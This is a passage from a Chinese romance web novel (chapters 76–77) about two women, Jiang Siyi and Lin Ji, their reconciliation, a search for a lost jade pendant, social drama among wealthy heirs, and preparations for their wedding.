在这儿呢,没丢…… 姜司意额头上有些冷汗,轻轻用手背拭去。 想翻身面对着林棘。 一动,某处虚幻的存在感还好浓。 就好像,那只漂亮的手还在。 满满当当都是林棘的气息,身体已经被她独特的揉捻方式,弄成了她专属的形状。 昨晚的荒唐涌上心头。 为什么没有什么时候睡着的记忆? 难道是,恩爱到一半,昏睡过去了。 如果是那糟糕的状态下昏睡的话…… 想到这里,立刻低头。 腰间全是残留的指痕,是昨夜纵情的痕迹。 不过,裤裤换了,整个人清清爽爽的,没有任何可疑的残留。 连被她弄得一片狼藉的床单,也换成了极其柔软亲肤的埃及棉。 松了一口气的同时,想到是谁帮她换的,谁帮她仔仔细细清理的。 被目睹反应那么汹涌,还一点点帮她善后…… 光天化日之下忽然有点脸红。 昨晚也没喝酒,怎么会弄成那样。 自己的体质完全超出想象。 原来不止是对林棘的了解不到万分之一,连自己会到什么地步都一无所知。 不过,也是因为林棘,才让她浓烈至此了。 姜司意慢慢转身,看着身边人。 还没醒,看看时间,怕是要破纪录。 今天是休息日,就让她睡到自然醒吧。 昨晚,姜司意所有的疑惑全然解开。 所以从来就没有什么“替身”。 林棘用了那么久的头像,是她写的信。 心口的文身,会永远留在身体上的图案,是她随手画的简笔画。 一直一直都是她。 从头到尾,林棘喜欢的人也只有她。 嘴角的笑意根本压不住。 姜司意轻轻翻过去,又翻回来,抱着自己那侧的被角看林棘。 趁着林棘还在睡觉,姜司意将她的被子往下掖了一点。 左胸口上的文身完全露出来了。 简笔画的傻兔子之下,能看到浅浅的疤痕。 就是林棘所说,无意间想起姜司意想到走神,被火钳烫伤留下的。 其他地方没有伤痕,掌心里也没有干农活留下的茧。 可能雪泊阿姨带她出国治病的时候,一并医美祛除了,这不是太难的事。以雪泊阿姨的细心来说,应该会这么做的。 那…… 这处为什么留下了,只用文身覆盖呢? 抬起指尖想要触碰,悬停在伤痕一厘米处,没有真的碰到。 直到手腕被不知道什么时候醒来的林棘握住,牵过来,直接摁上去。 “已经不会痛了,可以随便摸。” 林棘睁着一只发酸的眼睛,淡笑着瞄姜司意。 姜司意对她无可奈何。 “就算是,也要轻一点啦。” 林棘松了松她的手腕,姜司意指尖轻轻勾勒着那个伤痕的形状。 “当时一定很疼吧。” “现在好痒。” 姜司意:。 本来挺心疼的情绪,被林棘打断,完全续不上了。 林棘把她抱过来,亲亲额头。 “都哭成单眼皮,就不要再难过了,又哭了怎么办。这个伤痕是我特意留下的,为了纪念那一瞬间想起你时的奇妙感觉。我一直都觉得它是只属于你和我的心灵感应。文身也不全是为了遮疤,是为了让我记住。” “记住?” 林棘顿了顿,没说。 姜司意眨眨红肿的眼。 “你说吧,保证不哭。小佑,我真的想知道。” 林棘好喜欢姜司意迫切想知道关于自己所有事情的美妙感觉。 “就是,无论你我以后的人生轨迹伸向何方,我都会永远将你记在心上。” 姜司意鼻尖一酸,看她这样,林棘无奈地吻上她的眼睛。 “散装吐司女士怎么说到不做到?不是说好了不哭的?再哭,昨晚用冰袋偷偷敷了那么久,就要功亏一篑了。” 姜司意被她逗笑,又觉得不可能。 “不会吧,用冰袋敷我都没醒?” “会哦。太累了,能理解。” 指尖在姜司意的小腹上轻轻划圈。 “……” 终究是没有再哭了。 两人一起去洗漱,林棘帮姜司意把牙刷放到自动感应的牙膏罐下,单手绕过身边人的细腰,撑在另一侧的台面上。 新的一天,从粘老婆开始。 牙膏罐发出机械的声响,林棘问姜司意: “说起来,你的微信名为什么是散装吐司?” 姜司意看镜子里的自己,即便冷敷过,眼睛还是肿成了超绝单眼皮。 “因为,就是随时随地都是散装的状态,嗯,没有家的感觉。那你呢,为什么是个逗号。” 林棘把姜司意的牙刷递给她。 “起这个微信名的时候还心存妄想,不想划下句点。” “……都,是和我有关吗?” “嗯,都是。” 林棘依旧是姜司意从小到大认识的人里,表达喜欢最最直接的那个。 姜司意脸庞上有些热意,悄悄往林棘的身上轻靠着。 就是想靠得更紧些。 “我想改微信名。” 林棘为自己弄好了牙膏。 “这么巧,我也是这么想的。” 雪球早就醒了,在院子里完成了自己溜自己的任务,又在指定位置乖乖解决完狗生大小事。 发现铲屎官们终于活了,雪球好奇地从门外伸出半颗脑袋。 看见两个人类正靠在一起,一手刷牙一手拿着手机,动作统一,拇指不知道在敲着什么。 不管,一晚上加一早上不见,雪球直接挤到她们脚前面,整条狗躺到脚面上。 四只脚给它当床,歪着脑袋抬头,看她俩在笑。 虽然不懂她们在笑什么,但看上去好开心。 雪球张开小嘴吐出小舌头,跟着一起笑。 这是难得的休息日。 两个大忙人很少有时间像这样坐在客厅的沙发上,抱着雪球随意拨个台,拨到什么就随便看看。 林棘继续给姜司意冷敷眼睛,到下午应该就好了。 电视里正好在放鉴宝节目。 林棘过往的事有太多细节,姜司意时不时就会想起一些。 靠在林棘肩头的圆脑袋抬起来,问她: “我记得你一开始去嘉仕比,就是在找你奶奶的那件青黄玉龙凤佩。” 当时只知道是她奶奶的遗物,没想到是被人贩子给抢走了,肯定是出手卖掉,不知去向。 村里买卖人口的肯定已经抓了,最初拐走她的人贩子不知道有没有追查到,林棘没说,她也不好问。 “对。”林棘知道她想问什么,“方翼的那枚鉴定的结果是高度相似。” “也就是说,未必是。” “嗯,那枚玉佩我奶奶一直都收藏着,见过的人不多,更没什么专家,说不清特点。我也只戴过半晚上,印象很模糊了。” 说到这儿,林棘很短暂地出了会儿神。 “没事,有缘分的话会再遇见的。” “有照片吗?” “有。” 七岁生日那天,奶奶给她玉佩后,她戴着和奶奶照了张合影。 “用早期的智能手机拍的,算是老照片了,不太高清。” “能给我吗?我想试试去匹配,留意一下。” 这方面姜司意的确是行家,也因为工作关系会大量接触到玉器。 有希望,但希望很渺茫,她们都知道的。 林棘摸摸她的脑袋。 “不用执着。” 说得云淡风轻,可姜司意知道,林棘之前一直在收集相似的玉佩,不惜一掷千金。 奶奶是带着遗憾离世的,遗物还流落在外,这是林棘不曾言说的心病。 姜司意明白的,她知道林棘在意,一心想把它找回来。 “不试试看怎么知道,万一呢。” 姜司意眼睛红肿,眸底却是雪亮。 曾经在小公园的秋千上,向妈妈许愿,想让妈妈保佑林棘找回奶奶的遗物,能拥有她所珍视的一切。 而现在,她想亲自为林棘这么做。 让本该属于林棘的一切都回到她身边。 此生都不要再体会失去的痛苦。 【作者有话说】 林棘:快被老婆宠上天了[害羞] 76 第76章 ◎今天也很爱你。◎ 第二天刚到嘉仕比,姜司意就接到林雪泊的语音微信。 雪泊:【司意呀,吃早饭了吗?今天是要上班吗?】 当然不是真的想知道她吃早饭了没。 是惦记她和林棘的事。 不知道两人有没有说开,有没有什么心结。 实在很担忧,一大早就来非常委婉地旁敲侧击。 袋装吐司:【嗯,早上小佑做了牛肉锅贴,很好吃,刚才她送我来上班。】 小佑做了牛肉锅贴,也就是两人早上一起吃了早饭。 还一如既往地粘老婆,上班也要送。 感情没出危机。 林雪泊松了一大口气,太好了。 此刻她正和乔槿坐在早茶餐厅里吃早餐。 乔槿已经吃一轮了,林雪泊只入口了一片金钱肚。 来媳妇这儿试探,没有去试探亲女儿,自然是因为小佑思绪向来藏得深,左右试探不出来。 而且这件事还太敏感,不好直接问。 以前林雪泊但凡想问点什么,都要铺垫很久,斟词酌句。 现在有了司意,来司意这边稍微套一套话,乖媳妇就会好心地给她想要的答案。 林雪泊愉悦地放下手机。 “解除警报。” 乔槿把林雪泊最喜欢的烧鹅转到她面前。 “我就说你想太多,小佑和小姜都不是钻牛角尖的人。少担忧,小心白头发又爆出来。” 当初女儿走失,林雪泊很长一段时间白发狂生,乔槿帮她染都来不及。 后来女儿找回来,渐渐养回来一些。 这几年是到年纪自然变白了,染一染还是挺精神。 “我能不担忧吗?两个孩子好不容易才走到一起,就出这种事。” 想起宋缇的所作所为,林雪泊心里还是有气。 原本台阶都已经搬来了,司意又大度,本想着家宴之后不用再避着。 结果好嘛,宋缇一脚把台阶踹翻,弄了个鸡飞蛋打。 现在林云汀和宋立名轮番要来找她道歉,她都没心情搭理。 乔槿:“我看小姜年纪不大,挺成熟的,懂得疼人。知道小佑过去的遭遇心疼她都来不及,不会嫌弃的。” 林雪泊对这个媳妇十二分的满意。 “是我多虑了,没办法,遇到小佑的事我就很难不多想……嗯?” 忽然意识到了什么,立刻又拿起手机。 乔槿:“怎么?” 林雪泊惊讶地看着手机屏幕。 姜司意的微信昵称真的从“散装吐司”改成了“袋装吐司”,不是她眼花。 立刻去看小佑的。 万年不变的微信名居然也跟着老婆改了。 林雪泊“哎哟”一声。 “这两个孩子,肯定是牵着手聊了一整夜,解开了所有心结,山盟海誓一番,然后一起改了微信名。怎么这么甜啊我的两个宝贝。” 乔槿:“雪泊女士,注意形象,这脸红的,看着不像是你女儿媳妇恩爱,倒像是你自己谈上恋爱了。” 林雪泊睨她一眼:“谈上恋爱的恐怕另有其人。” 万年不爱笑的乔槿被她说得嘴角边漾起浅浅的笑容。 “谁,我啊?” “谁在暗笑就是谁。怎么样,这次的小宠物乖不乖?” 不怪林雪泊提到“小宠物”,这是乔槿一贯游戏人间的态度。 作为老友,从不审判她的生活作风,只希望她快乐。 乔槿一向冷淡,感情对她而言就是任情恣性,各取所需,打发时间。 可想到那晚樊青动情的眼神,想到她说——能不能让我待在你身边?只有今晚都好。 又觉得把樊青归在“小宠物”范畴内,有点不忍心。 乔槿:“没。” 林雪泊:“嗯?又断了?” “这回不是养宠物,正常恋爱罢了。” 喝着咖啡的林雪泊惊讶地停了下动作。 去看老友的脸,发现她是认真的。 “乔槿,你几岁樊青几岁啊,是不是差辈了?” 好熟悉的话,第一次去嘉仕比拍卖会上玩的时候,这是乔槿的台词。 林雪泊用她的话逗她。 乔槿无所谓地端起茶杯:“要不我也改个微信名?改成‘为老不尊’?” 林雪泊一口咖啡差点喷了。 坐在晨间清静的茶餐厅包厢里,看着城市的天际线和远处大朵大朵的云。 数落着年轻人没有轻重,精力又旺盛得可怕。 三言两语,没头没尾,随意说着只有闺蜜才能听的私房话。 暖暖的阳光晒在身上,没有焦虑不再恐慌,林雪泊惬意地想,这才是她想要的生活…… 姜司意拿着林棘给她的玉佩照片,截取了玉佩的部分,去问吴经理有没有可能在嘉仕比的全球数据库里匹配这枚玉佩。 吴经理:“啊?就一张照片?” 姜司意:“是不是很难。” 吴经理点头,“难。得先用高清分辨率扫描、矫正,进行宏观扫描和微观扫描,技术合成为三维模型。有了这个模型,再上拉曼光谱仪进行成分分析,然后到数据库比对。每一步都是费时费精力还费钱的事儿,到最后,耗费的人力财力可能都超过玉佩本身的价值了。” 看上去就知道是明代的青黄玉,价值上限摆在那儿。 姜司意:“我们拍卖行能实现吗?” 还在坚定地追问。 吴经理想到一开始林棘就在收集这种青黄玉,有点好奇问道: “是棘董要找啊?” “嗯,是很重要的东西。” 吴经理从姜司意的表情和话语里,感受到了一种无所谓旁人如何说的执着。 她食指拍了拍自己的脸庞,思索着道: “咱们拍卖行倒是可以实现,就有一个问题,主要设备都在油画部,想要使用的话得跟油画部那边申请。你还不如去找专业的文物搜寻机构。价格会贵一点,起码省心。” 吴经理有点人脉,给她介绍了一个伦敦总部那边合作的专业文物搜寻机构。 姜司意很快去联系。 对方听完所有情况后,坦诚地告诉她,因为年代久远,而且只有一张不算清晰的照片,能匹配且寻找到的概率不到50%。 基础服务费大概在10万美元左右,成功找到后,佣金为玉器价值的15%。 当然这只是最基础的费用。 要是青黄玉没有完整的传承记录,需要再加40%的费用。 如果沦落到黑市网络,得再多60%。 …… 对面叭叭叭地说着各项报价,还是用英语说的,听得姜司意面带微笑,脑子里一阵晕眩。 真的好贵。 虽说现在姜司意倒是不在意钱。 之前林棘跟她办了张联名卡,就是一个账户两张卡,让她能随意支配林棘账户里的所有资金。 姜司意物欲一如既往的非常低,一直维持着结婚之前养成的节俭生活,那张卡她都没机会用。 钱不是问题,问题是和吴经理说的一样,希望渺茫,旁人也未必会如她自己上心。 再去敲吴经理办公室的门,问吴经理,如果她要借用公司的主要设备,该去向油画部的谁申请。 “薄听,薄老师。”吴经理说,“油画部的经理,就是咱们业绩排行永远排在第一的那位。” 也就是前段时间在电梯口偶遇,段凝向她打招呼她没理的那位。 很不好相处的嘉仕比王牌拍卖师,大前辈。 吴经理说:“如果你真要这么做,必须得找薄老师。不止是申请,那些仪器咱们这儿就她会用。” 社恐属性有点发作,可为了帮林棘找回奶奶的遗物,弥补巨大的遗憾,姜司意还是振作精神,先去跟薄听打个招呼…… 油画部。 电梯门缓缓开启。 衣扣扣到最上方的薄听,在走出轿厢之前,还是对着厢内的镜子看了一眼。 脖子上的掐痕已经用粉底遮了,还是让她很不自在,生怕一不小心漏出来。 薄听眉心微蹙,拿出粉底,再遮盖了一次。 没直接去办公室,到消防通道抽烟。 火光刚刚映到眼镜片上,就听到拐角后的笑声。 “只要她去了书画部,有拍品价值兜底,说不定今年秋拍业绩排行真得大变天。” “聋姐蝉联五年的大满贯就要被打破咯。” “想看聋姐那张万年没表情的脸上露出惨败的痛苦,哎呀,可真带感。” 薄荷爆珠混合着烟味一同冲入口鼻,呛得薄听有种要咳嗽的欲望。 忍着,她就站在这儿听着,半步没动。 那两个同事碾了烟头,走出来,正好和她打了个照面。 我去,聋姐什么时候来的。 那,刚才的话她不都听到了? “薄老师……” 弱弱地打了声招呼。 薄听没看他们,也没应,就像没听到。 两人几乎是贴着墙逃走了。 抽完烟回到办公室,一早上尽是琐碎烦躁的工作。 到了午间,助理推门来说,金石玉器部的姜司意有事找她。 “姜司意”这三个字,让薄听眼皮微微跳动着。 “让她进来。” “好的。” 姜司意敲了敲门,进屋。 薄听坐在椅子上,完全没有要站起来的意思,甚至都没抬眸看她。 姜司意主动说明来意。 薄听往椅背上靠,冷眸转向她。 “我没这闲工夫。而且,林棘是你老婆吧?” 已经料到薄听难说话。 最近公司中的闲言碎语,总是喜欢拿她和薄听做比较。 说J城嘉仕比即将进入双子星并肩闪耀的时代。 更有幸灾乐祸说她这后浪要拍散前浪,将薄听挤下J城嘉仕比王牌拍卖师的宝座。 当然,还有更难听的。 姜司意设身处地地想,薄听对她的敌意可以理解。 姜司意用商量的语气道:“林棘在成为我妻子之前首先是客户,是我们金石玉器部的VIC。帮客户寻找她们的心仪的藏品是我们的分内事。如果占用了其他拍品的鉴定时间,我可以等。或者你有什么条件,比如使用仪器费用,鉴定的费用,在我能力所及范围内,我一定会接受。” 薄听:“如果我拒绝你呢?” 姜司意眼眸轻动,已经知道薄听的态度了。 没再多说,保持着基本的礼貌起身告辞。 却看见薄听衣领边缘,有一个可怕的青紫,像手印。 薄听一再遮挡的掐痕,还是被衣领磨蹭得若隐若现,正好漏出一个边。 她本人并没有发现。 姜司意犹豫着该不该告诉她。 她俩这么陌生的关系,提醒这种事会有些尴尬。 可如果不提醒,回头别人要是看见,或者薄听自己发现,也会知道她看到了。 尴尬无法避免,还不如减少别人瞧见薄听私密事的机会。 “薄老师。”姜司意走之前指了指自己的脖子。 薄听那张无甚表情的脸上忽然露出一丝慌张的神色,下意识用手捂住脖子。 姜司意并没多说,很快收回视线,离开了薄听的办公室。 薄听的目光追随着姜司意的背影一会儿,才在疲倦中收回,没再用粉底,从衣柜里找出一条丝巾,系上。 回到自己的工位,姜司意喝着红茶思索着。 林棘一直在寻找奶奶的遗物,每一场有相似玉佩的拍卖她都会把拍品拍到手,以她的执着和雷厉风行的办事风格看,应该已经找过专业的文物搜寻机构了。 给林棘发微信,问问她这件事。 与此同时,幻维总部,林棘办公室。 林棘刚刚开完会回来,正在接林雪泊的电话。 林雪泊在电话里跟她说,那天她离开西山别墅后,宋缇对司意说了些什么胡话,而司意又是怎么回应宋缇的。 ——我只想听小佑自己跟我说。我只相信她的话。 【是吗,她真的这么说。】 林棘坐在椅子上,看着办公室外的枯山水造景,愉悦地轻轻带着椅子转了转。 其实这些话她已经听周霓说过了。 只不过周霓是完完全全没有感情的复读机,和林雪泊的声情并茂不一样。 自己的女儿哪有不懂的。 还要反问一遍,让妈妈再多说一点,林雪泊当然要好好满足她。 林雪泊将那日在车里姜司意如何宽慰她,安抚她,如何说“小佑是我要用一辈子去爱的妻子”,点点滴滴全都跟林棘说了。 林棘一字一句刻在心上,心满意足。 挂电话之前,林雪泊又说: 【婚礼的礼裙我已经帮你们筛选好了几套,约个时间送到家里试试看。摄影团队也有五个选择,作品我一会儿发给你。现场交给我来布置,除了流程,其他的你可以就让阿青来我对接。一切按照司意选的风格,包你们满意。】 林棘很忙,分身乏术,又不想让姜司意操劳,有林雪泊在的确很省心。 林棘:【谢谢妈。】 【这孩子,跟我客气什么。】 挂了电话,林雪泊看着手机感叹着: “我们小佑是越来越甜了,有个爱她的老婆真好啊。” 林棘放下手机,樊青正好进来向她交文件。 林棘翻看着文件时,想到一件事。 “谭雅的工作签证到期了吗?” “到了,她已经在上个月回了伦敦。” “距离婚礼还有半个月。”林棘对樊青说,“我希望在婚礼之前,宋缇也能滚出J城。” 樊青点头:“明白了BOSS。” 林棘:“这件事办妥,明年起加薪20%,年假再增加五天。” 樊青:! 樊青:“放心BOSS,我一定会办妥。” 林棘对她淡笑道:“辛苦了。” BOSS居然对她笑得这么好看,樊青恍惚着离开了。 怎么回事,BOSS变成亲切的姐姐了? 不,是又给钱又给假的亲切姐姐。 樊青离开后,桌上的手机嗡嗡两声。 是姜司意的微信。 袋装吐司:【你之前有找过专业文物搜寻机构寻找奶奶的遗物么?】 语气很正经,可这个新改的昵称,依旧让林棘觉得心软软的。 。:【的确找过,之前帮我鉴定相似度的就是这些机构。】 “这些”,意味着林棘不止找了一家。 果然啊。 姜司意单手托脸,轻拧着眉心,得继续再想想别的办法。 袋装吐司:【哦哦,那没其他事了。你去工作吧。】 。:【有事。】 姜司意都要锁屏了,看到林棘又回了这么一条。 立刻拿起来。 袋装吐司:【嗯?】 。:【有件事要跟你说。】 只是看到文字,没有语音就不知道她的语气。 光看这行字让姜司意的心头微微紧缩。 袋装吐司:【怎么了?】 林棘“正在输入中……”时,等待中的姜司意有些紧张。 什么事要跟我说? 直到看到—— 。:【今天也很爱你。】 【作者有话说】 林棘:宠妻第三十六步,每天都要认真表白[垂耳兔头] 77 第77章 ◎走向我们的一生一世。◎ 。:【今天也很爱你。】 原来……是表白。 姜司意无奈地松了一口气。 小佑真是。 忽然想起一些“头回了没有”,微红了脸庞上忍不住漾起笑意。 林棘等了半天,姜司意那头没动静。 在公司,随时随地都会突然忙碌,可以理解。 还以为姜司意暂时不会回复。 没想到下一秒就收到她的微信。 袋装吐司:【我也是,今天也很爱你>_<】 林棘:。* 内向的人突然这么直球,受不了。 怎么会有人可爱成这样? 喝点茶缓解一下。 茶香在鼻尖蔓延,反反复复地看着这短短的一句话,林棘明白,姜司意也是一样的。 一样不会让她任何一份爱意落空。 …… 马上就要十月,天气转冷,这应该是今年最后一场泳池派对。 泳池边的欢声笑语一点都没进宋缇的耳朵里。 她躺在躺椅上,再次拿来手机。 妈妈还是没回她的微信。 浓浓的失落感盘踞心头,难受,想转移点情绪,随便刷刷朋友圈。 发现谭雅发了动态。 她重回伦敦,已经找到了新的女友,在朋友圈里秀恩爱。 宋缇麻木地把她拉黑。 这几天,姜司意的话一直在她脑海中盘旋。 拿出以前的照片看了又看,明媚耀眼爱笑的美人,怎么就落到这番田地。 她一直在思考这个问题。 是从什么时候开始,变成了现在这样。 直到收到一条陌生人发来的语音。 是谢舒旖和周彦林不知什么时候的对话。 字字句句恶心得宋缇像吞了苍蝇一样难受。 尖笑声打断她的思绪。 宋缇缓缓将目光转向泳池那侧。 谢舒旖她们在泳池那头开派对。一群二代们喝得烂醉,白晃晃的身体贴在一起,说着无聊的段子,不负责任地随意调情。 要不是那录音,宋缇都不知道还要思索多久。 是啊,就是谢舒旖。 将过往的一切一一厘清,她的霉运,就是从谢舒旖教唆她,试图用冷暴力甩掉姜司意开始的。 姜家走下坡路的最初,宋缇只是有一点嫌弃,觉得自己倒霉罢了。 并没有想要和姜司意解除婚约。 是谢舒旖,一次次地提醒她,说现在的姜司意配不上她。 她应该有更好的选择,姜家那种破落户,只会扒着她吸血,以后麻烦无穷。 就是这个女人一遍遍地蛊惑她,把她带离正确的轨道。 还把这些吸血鬼们带到她身边,理所当然地索取她的资源,没日没夜大把大把花她的钱开无聊的派对。 如果不是谢舒旖,她不会失去姜司意。 更不会变成如今人不人,鬼不鬼的模样。 找到了。 让她堕落的原因终于找到了。 大白天,谢舒旖喝得满脸通红,颠颠倒倒地走向宋缇,拿着泡泡机对准她的脸biubiubiu发射一大串的泡泡。 宋缇面无表情地盯着她。 谢舒旖打了个酒嗝,软到她身边的充气沙发上,用腿踢踢她。 “干嘛成天哭丧着脸啊,真是,要我说,你就是太心软了才弄成今天这样。如果是我,我就直接和谭雅结婚,秀给她们看啊,看看谁过得更好。你现在这个样子,只会让你表姐和姓姜的称心如意了。” 宋缇冷笑。 “和谭雅结婚?” “是哦,谭雅也跑了。”谢舒旖靠近她,“要不然和周彦林也行啊。” 远处的周彦林发现宋缇和谢舒旖一同往他的方向看过来,知道谢舒旖终于找到机会跟宋缇说了。 他暗恋宋缇这么久,一直没机会也没勇气跟她说。 谢舒旖和他打赌五百万,如果能撮合他跟宋缇,不多,周彦林给她五百万就好。 周彦林不信,谢舒旖说:“你就等着吧。” 宋缇眼皮跳动着,“周彦林?” “是啊。”谢舒旖理所当然道,“周彦林有什么不好,你的金牌舔狗,让他往东他不敢往西,让他上天他不敢入地,随时随地能配合你演戏。现在姜司意被你弄的是不会回头了,无论如何,你都不能让她觉得你失去了她就没法活。得过得好,得比她过得还开心。Stella,人活着不就是为了争一口气嘛?” 说着,用泡泡机在宋缇胳膊上敲了几下,格外语重心长。 以前怎么没发现,谢舒旖语气里满满都是阴阳怪气,推卸责任? 宋缇靠近她,“我争一口气,你挣五百万?” 谢舒旖的笑容在她这句话之后,慢慢凝固。 “什、什么五百万。” “你不是和周彦林说,只要能撮合我和他,他就给你五百万?” 谢舒旖酒劲都没了,一下子站起来。 “你瞎说什么啊!是不是疯了Stella,被姜司意甩了也不能乱造谣吧?” 宋缇将陌生人发给她的录音点开。 听到她俩争吵,一群人从泳池那边走过来,都听到了那段录音。 谢舒旖和周彦林面面相觑,脸色万分难看。 徐千金和蔺千金同时惊讶地“哎呀”了一声。 徐千金:“怎么回事,周彦林,你暗恋对象是Stella。看着Stella交往又分手,分手又交往,还不敢自己表白,这么纯情呀?” 蔺千金:“早说啊,让我帮忙,我收费公道,只要一百万。” 宋缇被拱得心火狂生,向周彦林冷笑道:“就这十秒男?” 众人听到这重磅消息,又是同时倒吸一口气。 “哦哟!” 周彦林被当众嘲笑,面红耳赤,气急败坏地指着谢舒旖骂道: “贱人,跟你没完!” 谢舒旖将他手拍掉,“有病,关我什么事,又不是我录的音。” 周彦林头也不回地跑了,谢舒旖无语地对宋缇说: “谁给你的录音,这么假的事你也信啊,这是在挑拨我们的关系。Stella你是不是被姓姜的甩了,脑子气傻了?” 宋缇:“哦?那也比你这个私生女强。” 她已经无所畏惧了。 怎么能就她一个人倒霉呢。 当乐子人是吧,那就一起当,谁也别想置身事外。 此话一出,周围人再一次震惊。 徐千金和蔺千金兴奋对视——今天的派对可真没白来,瓜一个比一个劲爆。 谢舒旖脸色惨白,没想到宋缇居然这么轻描淡写把她最大的痛处当众抖露出来。 “你放什么狗屁!” “我说错了?你不就是你妈和管家偷情生出的野种?你和你妈还联手把你亲姐,谢家正牌骨血给踢出了家族信托。你爸,哦不,谢宇那个傻缺,到现在还被蒙在鼓——” 话没说完,谢舒旖用力将手里的泡泡机摔在她脸上。 宋缇火气早就憋不住了,两人撕扯在一起,双双摔入水池中。 水呛入口鼻,宋缇在水中挣扎着,看岸上的树在随着水波扭曲。 一张张人脸都变成抽象的曲线,唯有看乐子的笑意,清晰地映入她眯起的眼眸中。 这些人已经在拿着手机快速打字了。 第一时间把今天所有的瓜发送到一个个小圈子里。 小圈子又火速往外散播。 原来不只是谢舒旖。 这里有一个算一个,全都和谢舒旖一模一样。 当初这些人会看不起姜司意,就会对所有人的不幸平等地幸灾乐祸。 包括她宋缇。 这么久以来,她丢弃了珍宝,一直养着这群人? 宋缇重重闭上眼,汹涌的泪意吞噬她的心。 她就是个彻头彻尾的蠢货…… 好友的婚礼在即,严逾三个月前订好的游艇已经开到了J城,正好能当新婚礼物送给林棘和姜司意。 岑麓在专业干坞看到这奢华的游艇的时候,都愣住了。 她原本想说给小佑她俩添辆车,市售款式随便挑,预算大概在一千万左右。 发小好不容易和心上人结婚,曲曲折折这么多年终成眷属,是该好好庆祝一下。 出点血没事,图个高兴。 结果,严逾一声不吭,直接定制了混合动力四层运动飞桥游艇,配备主卧、客房、餐厅、影院,以及露天派对区。 严逾带着岑麓一起登上游艇,转了一圈挺满意。 “不错,跟我想象的差不多。” 岑麓:…… 这游艇价格她知道,一千万欧元起,还不包括内饰的定制。 她送一千万人民币的车,严逾送一千万欧的游艇? 岑麓:“不是,你提前三个月准备?” “是啊,半年前我就知道婚礼日期了,这都准备晚了。也不知道佑姐和嫂嫂能不能喜欢。”严逾又看了看,狐疑地问岑麓,“是不是小了点?” 岑麓:…… 你个不讲武德的。 你送这么贵的礼物,我那市售车不就寒碜得拿不出手了么。 不行。 岑麓心想,除了车,她还得再选个礼物,免得佑姐觉得心里没她…… 十月一日的婚礼,近在眼前。 段凝和吴经理都收到了姜司意婚礼的邀请函。 段凝对这白色山茶花纹理的邀请函爱不释手。 “好美啊,弄得我也想结婚了。” 吴经理:“怎么,有对象了?” 段凝:“没啊,没对象还不能幻想一下了?” 吴经理笑道:“与其幻想这,不如好好想想给小姜准备什么新婚礼物实际。我是可以只包份子钱,你俩这交情,不得来点煽情的?而且我还真不只准备了份子钱,还有大礼。” 段凝一怔,“你和顾总谈下来了?真答应了?” “可不。这下Oliver别妄想吞下黄清徵画作的佣金了。” 被吴经理这么一说,段凝抓耳挠腮,“完了,我送啥啊我。司意这种没啥世俗的欲望,到现在都骑共享单车上班的人,礼物最难挑了。” 吴经理:“不然你送她几天假好了。她婚假就半个月,哪能玩得尽兴啊。你替她几天,正好到秋拍,这礼物多实惠?再没世俗的欲望的人也抗拒不了休息吧。” 段凝眼睛一亮,开心地一把抱住吴经理的腰。 “难怪你能当经理,你怎么这么聪明呢?” 吴经理将她格开,红着耳朵站起身。 “早就想说了,段凝,别随便搂搂抱抱还骑我身上,不合适,这样下去该有绯闻了。” “在你家,就咱们两个人,上哪来的绯闻?有绯闻也是你自己往外说的。”坐在沙发上的段凝还挺失落,“那以后我都不能骑了?” 吴经理无奈地看她一眼,“你说呢?” 段凝继续争取道:“抱也不行了?” 吴经理:……。 所有亲朋好友都在为姜司意和林棘准备新婚贺礼时,姜司聆已经把自己关在酒店房间里好多天了。 手机不看,就每天入睡前集中回复一波微信。 林雪泊都问姜司意,她姐怎么最近都没见着人,不会是又出国了吧? 姜司意:“没走,还在J城。我姐那天徒步之后,找到了新作的灵感,这几天一直在酒店里画画,每天就回我一条微信,还是深夜回。” 姜司意在微信里跟姜司聆说起,她最初订婚对象就是林棘的事。 第二天起床收到姜司聆凌晨一点的回复。 【啊?!居然是真的,我还以为是我看什么电视剧记错了剧情!】 姜司意:…… 原来姐姐真有印象。 只是这印象被她奇怪的脑回路给拐到犄角旮旯去了。 【那你和小佑真是铁打的缘分,怎么都拆不散。以后一定会一直一直幸福下去的,再也不会分开!】 姜司意被她姐直白的话弄得心里发暖。 【嗯嗯,再也不会和她分开>u<】 姜司聆的新画灵感就是来自于妹妹和妹媳,想在婚礼之前完成,当作新婚礼物送给她们。 眼下马上就要婚礼了,傻眼。 构思太大,还画废了两稿,熬了这么多天眼看着就要完不成,眼睛都熬出红血丝了。 某晚,油头垢面的姜司聆看了眼日期,就像看到什么恐怖画面。 怎么就九月底了? 不会在婚礼前画不完吧!。 林语水岸。 樊青:【BOSS,宋缇已经主动向宋立名提出去子公司工作的申请。预计下周就会离开J城,归期未定。】 林棘接到樊青电话时,正着和姜司意一起试婚纱。 她站在角落,望向被婚庆团队工作人员簇拥着,穿着曳地白色婚纱的新娘,她的新娘。 新娘微微侧眸淡笑的样子,让林棘想起那晚捧起她的脸,向她承诺永远爱她的姜司意,有些走神,轻轻“嗯”了一声。 樊青:【没有别的事了BOSS,我挂了。】 林棘:【好,辛苦了。】 其实公司还有很多琐事,只是BOSS婚期将近,想让她好好沉浸在新婚的快乐中,能做的樊青就直接帮她做了,加会儿班没事。 这就是年薪一百二十万优秀助理的能力和自觉。 婚庆团队带着二十多套礼裙到家里来给她们试穿,全都是林雪泊已经挑选过一轮的“精品”。 一套套上身,真的好难选。 林棘放下手机,走回姜司意身侧,不说话就站在一旁看。 从来没穿过这么繁复隆重的裙子,还是婚裙,姜司意被她看得有点心虚。 “怎么了,很奇怪吗?” “嗯,奇怪。” “啊?那……” “奇怪,我老婆怎么这么好看。” “……” 身后婚庆团队工作人员都笑了。 “棘董和姜小姐感情可真好。” 姜司意红着脸道谢,无奈地瞟林棘。 林棘被她这一眼弄得浑身舒坦,握住她的手,一同往镜子里看。 姜司意下意识反握住她,靠在她怀里。 “好难选。” “是啊,妹妹身材太好,怎么穿都好看,太难挑了。” 听到“妹妹”这个称呼,姜司意怔了怔。 林棘的手环在姜司意的腰间,往小腹上抚。 “我可以这么叫吗?” 这是很早很早以前,林棘对她的称呼。 走失的那七年里,一次次写下姜司意名字的时候,心里想的也是“妹妹”。 后来,她们走在两条不同道路上时,这个称呼就再也没提起。 姜司意手掌覆盖在林棘的手背上,指尖划过她的指缝,抿唇,在她指骨上轻点了好几下。 ——当然可以。 林棘长长舒了一口气。 那团在身体里烧了许多许多年的火,煎熬着她的浊热,在这一刻舒出了体内。 在决定回国,把姜司意抢回来的那一天,阴云万里,像她不确定的心情。 如何在不伤害到姜司意的基础上,顺利将她带到身边。 